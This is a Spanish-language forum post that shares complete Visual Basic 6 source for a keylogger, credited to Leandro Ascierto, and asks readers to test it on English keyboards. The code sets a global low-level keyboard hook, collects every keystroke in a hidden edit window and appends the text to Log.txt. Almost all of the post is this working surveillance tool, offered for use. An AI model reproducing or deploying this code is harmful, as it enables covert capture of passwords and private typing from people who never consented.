Seria bueno que si alguien tiene un teclado inglés lo pruebe a ver si funciona todo bien.
Código
Option Explicit '------------------------------------ 'Autor: Leandro Ascierto 'Web: www.leandroascierto.com.ar 'Fecha: 18-08-09 'En base a tutorial de Karcrack '------------------------------------ Private Declare Function SetWindowsHookEx Lib "user32.dll" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long Private Declare Function UnhookWindowsHookEx Lib "user32.dll" (ByVal hHook As Long) As Long Private Declare Function CallNextHookEx Lib "user32.dll" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByRef lParam As Any) As Long Private Declare Function PostMessage Lib "user32.dll" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function GetForegroundWindow Lib "user32.dll" () As Long Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Private Declare Function GetWindowTextLength Lib "user32.dll" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Private Declare Function SetWindowText Lib "user32.dll" Alias "SetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String) As Long Private Declare Function CreateWindowEx Lib "user32.dll" Alias "CreateWindowExA" (ByVal dwExStyle As Long, ByVal lpClassName As String, ByVal lpWindowName As String, ByVal dwStyle As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hWndParent As Long, ByVal hMenu As Long, ByVal hInstance As Long, ByRef lpParam As Any) As Long Private Declare Function DestroyWindow Lib "user32.dll" (ByVal hwnd As Long) As Long Private Const ES_MULTILINE As Long = &H4& Private Const ES_AUTOVSCROLL As Long = &H40& Private Const ES_AUTOHSCROLL As Long = &H80& Private Const WM_IME_KEYDOWN As Long = &H290 Private Const WM_SYSKEYDOWN As Long = &H104 Private Const WM_KEYDOWN As Long = &H100 Private Const WM_KEYUP As Long = &H101 Private Const WH_KEYBOARD_LL As Long = 13 Private Const BUFFER_TO_SAVE As Long = 100 Private hEdit As Long Private KBHook As Long Private sTextData As String Private TextLen As Long Public Sub ManageKeylogger(ByVal Enable As Boolean) Select Case Enable Case True hEdit = CreateWindowEx(0, "EDIT", "", ES_MULTILINE Or ES_AUTOVSCROLL Or ES_AUTOHSCROLL, 0, 0, 0, 0, 0, 0, App.hInstance, 0) KBHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf KBProc, App.hInstance, 0) Debug.Print hEdit Case False Call UnhookWindowsHookEx(KBHook) TextLen = GetWindowTextLength(hEdit) If TextLen Then LogToFile App.Path & "\Log.txt" DestroyWindow hEdit End Select End Sub Private Function KBProc(ByVal nCode As Long, ByVal wParam As Long, lParam As Long) As Long Select Case wParam Case WM_KEYDOWN If lParam <> 222 And lParam <> 186 Then Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End If Case WM_KEYUP TextLen = GetWindowTextLength(hEdit) If TextLen > BUFFER_TO_SAVE Then LogToFile App.Path & "\Log.txt" End If Case WM_SYSKEYDOWN Call PostMessage(hEdit, WM_IME_KEYDOWN, lParam, 0&) End Select End Function Private Sub LogToFile(ByVal sPath As String) sTextData = String(TextLen + 1, Chr$(0)) GetWindowText hEdit, sTextData, TextLen + 1 SetWindowText hEdit, vbNullString Open sPath For Append As #1 Print #1, sTextData Close #1 End Sub
Saludos.